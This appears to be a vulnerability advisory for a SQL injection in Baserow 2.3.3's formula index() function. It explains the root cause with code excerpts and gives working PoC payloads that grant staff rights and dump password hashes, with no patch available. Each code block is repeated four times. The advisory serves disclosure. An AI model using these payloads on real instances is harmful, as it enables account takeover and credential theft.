Baserow 2.3.3 - SQL injection in formula index() JSONB array extraction

8,6

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Summary

Full name

Baserow 2.3.3 - SQL injection in formula index() JSONB array extraction

Code name

State

Public

Release date

Vulnerability name

SQL injection

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.6

Exploit available

Yes

Description

Baserow 2.3.3 contains a SQL injection vulnerability in the index() formula function. A low-privileged authenticated user who can create or modify formula fields can provide an undocumented fourth argument that is treated as a SQL template and interpolated directly into a PostgreSQL expression.

The vulnerable expression is executed when Baserow recalculates formula field values. Because the generated SQL runs through Baserow's database connection, the injected SQL executes with the privileges of the Baserow PostgreSQL role rather than the permissions of the authenticated application user.

Successful exploitation allows an attacker to read and modify data outside their Baserow workspace permissions. The validated attack disclosed usernames and password hashes from auth_user and changed the attacker's auth_user.is_staff value to true, granting access to Baserow instance administration features.

Vulnerability

Root Cause

  1. The public formula parser accepts an undocumented four-argument index() call:

class BaserowIndex(BaserowFunctionDefinition):
    type = "index"
    num_args = NumOfArgsBetween(2, 4)
class BaserowIndex(BaserowFunctionDefinition):
    type = "index"
    num_args = NumOfArgsBetween(2, 4)
class BaserowIndex(BaserowFunctionDefinition):
    type = "index"
    num_args = NumOfArgsBetween(2, 4)
class BaserowIndex(BaserowFunctionDefinition):
    type = "index"
    num_args = NumOfArgsBetween(2, 4)

The user-facing frontend help describes only two arguments. The third and fourth arguments are internal implementation details used to store the output mode and SQL extraction template.

  1. The extra arguments are accepted as ordinary text:

if arg_index == 0:
    return [BaserowFormulaValidType]
elif arg_index == 1:
    return [BaserowFormulaNumberType]
else:
    return [BaserowFormulaTextType]
if arg_index == 0:
    return [BaserowFormulaValidType]
elif arg_index == 1:
    return [BaserowFormulaNumberType]
else:
    return [BaserowFormulaTextType]
if arg_index == 0:
    return [BaserowFormulaValidType]
elif arg_index == 1:
    return [BaserowFormulaNumberType]
else:
    return [BaserowFormulaTextType]
if arg_index == 0:
    return [BaserowFormulaValidType]
elif arg_index == 1:
    return [BaserowFormulaNumberType]
else:
    return [BaserowFormulaTextType]

This validation checks the Baserow formula type, not whether the fourth argument is a safe SQL template.

  1. The fourth argument is copied into value_sql:

For four-argument calls, the typed formula is accepted as-is:

if len(args) == 4:
    return func_call.with_args(list(args)).with_valid_type(sub_type)
if len(args) == 4:
    return func_call.with_args(list(args)).with_valid_type(sub_type)
if len(args) == 4:
    return func_call.with_args(list(args)).with_valid_type(sub_type)
if len(args) == 4:
    return func_call.with_args(list(args)).with_valid_type(sub_type)

During Django expression generation, the fourth argument is unwrapped:

if len(args) >= 4:
    mode = _unwrap_literal_value(args[2].expression) or mode
    value_sql = _unwrap_literal_value(args[3].expression) or value_sql
if len(args) >= 4:
    mode = _unwrap_literal_value(args[2].expression) or mode
    value_sql = _unwrap_literal_value(args[3].expression) or value_sql
if len(args) >= 4:
    mode = _unwrap_literal_value(args[2].expression) or mode
    value_sql = _unwrap_literal_value(args[3].expression) or value_sql
if len(args) >= 4:
    mode = _unwrap_literal_value(args[2].expression) or mode
    value_sql = _unwrap_literal_value(args[3].expression) or value_sql
  1. The attacker-controlled SQL template is inserted into the query text:

JSONBArrayGetElement.as_sql() compiles the array and index expressions, builds an element expression, and then uses direct string formatting:

elem_sql = f"({arr_sql}) -> ({idx_sql})::int"
sql = f"({self.value_sql.format(elem=elem_sql)})"
return sql, list(arr_params) + list(idx_params)
elem_sql = f"({arr_sql}) -> ({idx_sql})::int"
sql = f"({self.value_sql.format(elem=elem_sql)})"
return sql, list(arr_params) + list(idx_params)
elem_sql = f"({arr_sql}) -> ({idx_sql})::int"
sql = f"({self.value_sql.format(elem=elem_sql)})"
return sql, list(arr_params) + list(idx_params)
elem_sql = f"({arr_sql}) -> ({idx_sql})::int"
sql = f"({self.value_sql.format(elem=elem_sql)})"
return sql, list(arr_params) + list(idx_params)

Django parameters protect only arr_params and idx_params. The value_sql string is already part of the SQL text and is not parameterized.

  1. Formula recalculation executes the generated SQL:

Formula fields are recalculated after creation and update:

expr = FormulaHandler.baserow_expression_to_update_django_expression(
    field.cached_typed_internal_expression, model
)
model.objects_and_trash.all().update(**{f"{field.db_column}": expr})
expr = FormulaHandler.baserow_expression_to_update_django_expression(
    field.cached_typed_internal_expression, model
)
model.objects_and_trash.all().update(**{f"{field.db_column}": expr})
expr = FormulaHandler.baserow_expression_to_update_django_expression(
    field.cached_typed_internal_expression, model
)
model.objects_and_trash.all().update(**{f"{field.db_column}": expr})
expr = FormulaHandler.baserow_expression_to_update_django_expression(
    field.cached_typed_internal_expression, model
)
model.objects_and_trash.all().update(**{f"{field.db_column}": expr})

This makes exploitation immediate when the malicious Formula field is saved.

Impact

An authenticated low-privileged Baserow user with permission to create or modify fields in any editable table can execute SQL in the Baserow database context.

Confirmed impact:

  • Read usernames and password hashes from auth_user.

  • Modify auth_user.is_staff for the attacker's account.

  • Gain Baserow instance administrator access after a fresh login or session refresh.

Current Commit Validation

Validated against the current local checkout:

  • Repository: https://github.com/baserow/baserow

  • Branch: develop

  • Local commit: bd22ab74880286aa8cadd002dadfabbcfc02d041

  • Local describe: 1.13.3-5286-gbd22ab748

  • Local version string: 2.3.3

  • Status: Confirmed present in the current local checkout and in tag 2.3.3.

Static validation:

  • BaserowIndex is registered as the user-facing index formula function and accepts between two and four arguments (backend/src/baserow/contrib/database/formula/ast/function_defs.py:3055-3058).

  • The frontend formula help documents only the safe two-argument usage, index(a file field, a number) and index(an array field, a number) (web-frontend/modules/database/formula/functions.js:2562-2585).

  • The backend type checker accepts the third and fourth arguments as formula text values (backend/src/baserow/contrib/database/formula/ast/function_defs.py:3059-3068).

  • If four arguments are supplied, BaserowIndex trusts the fourth argument as value_sql and passes it to JSONBArrayGetElement (backend/src/baserow/contrib/database/formula/ast/function_defs.py:3091-3127).

  • JSONBArrayGetElement.as_sql() inserts value_sql directly into SQL using Python string formatting: sql = f"({self.value_sql.format(elem=elem_sql)})" (backend/src/baserow/contrib/database/formula/expression_generator/django_expressions.py:198-204).

  • Formula fields are recalculated through QuerySet.update(...) immediately after create or update, causing the generated expression SQL to be executed by PostgreSQL (backend/src/baserow/contrib/database/fields/field_types.py:6075-6085 and backend/src/baserow/contrib/database/fields/field_types.py:6096-6112).

  • The vulnerable implementation was introduced by PR #5066, merge commit c3958f264b028557e65f003c7ebc6b7fd39b14de, and is contained in tags 2.2.0 through 2.3.3.

PoC

Preconditions

Step by step

  1. Create a workspace and a Database application as [email protected].

  2. Create a table.

  3. Rename the primary field to Files.

  4. Change the primary field type to File.

  5. Ensure the table has at least one row.

  6. Create a Formula field named Privilege Escalation with:

index(field('Files'), 0, 'text', 'NULL::jsonb)); UPDATE auth_user SET is_staff=TRUE WHERE [email protected]$$; --')
index(field('Files'), 0, 'text', 'NULL::jsonb)); UPDATE auth_user SET is_staff=TRUE WHERE [email protected]$$; --')
index(field('Files'), 0, 'text', 'NULL::jsonb)); UPDATE auth_user SET is_staff=TRUE WHERE [email protected]$$; --')
index(field('Files'), 0, 'text', 'NULL::jsonb)); UPDATE auth_user SET is_staff=TRUE WHERE [email protected]$$; --')
  1. Create another Formula field named User Hash Leak with:

index(field('Files'), 0, 'text', '(SELECT jsonb_build_object($$visible_name$$, (SELECT string_agg(username || $$:$$ || password, $$ | $$ ORDER BY id) FROM auth_user), $$name$$, $$users.txt$$, $$size$$, 0, $$mime_type$$, $$text/plain$$, $$is_image$$, false, $$image_width$$, 0, $$image_height$$, 0, $$uploaded_at$$, $$2026-01-01T00:00:00Z$$))')
index(field('Files'), 0, 'text', '(SELECT jsonb_build_object($$visible_name$$, (SELECT string_agg(username || $$:$$ || password, $$ | $$ ORDER BY id) FROM auth_user), $$name$$, $$users.txt$$, $$size$$, 0, $$mime_type$$, $$text/plain$$, $$is_image$$, false, $$image_width$$, 0, $$image_height$$, 0, $$uploaded_at$$, $$2026-01-01T00:00:00Z$$))')
index(field('Files'), 0, 'text', '(SELECT jsonb_build_object($$visible_name$$, (SELECT string_agg(username || $$:$$ || password, $$ | $$ ORDER BY id) FROM auth_user), $$name$$, $$users.txt$$, $$size$$, 0, $$mime_type$$, $$text/plain$$, $$is_image$$, false, $$image_width$$, 0, $$image_height$$, 0, $$uploaded_at$$, $$2026-01-01T00:00:00Z$$))')
index(field('Files'), 0, 'text', '(SELECT jsonb_build_object($$visible_name$$, (SELECT string_agg(username || $$:$$ || password, $$ | $$ ORDER BY id) FROM auth_user), $$name$$, $$users.txt$$, $$size$$, 0, $$mime_type$$, $$text/plain$$, $$is_image$$, false, $$image_width$$, 0, $$image_height$$, 0, $$uploaded_at$$, $$2026-01-01T00:00:00Z$$))')

Evidence of Exploitation

  • Video of exploitation:


  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-19754 to refer to this issue from now on.

Disclosure policy

System Information

  • Baserow

  • Version: 2.3.3

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.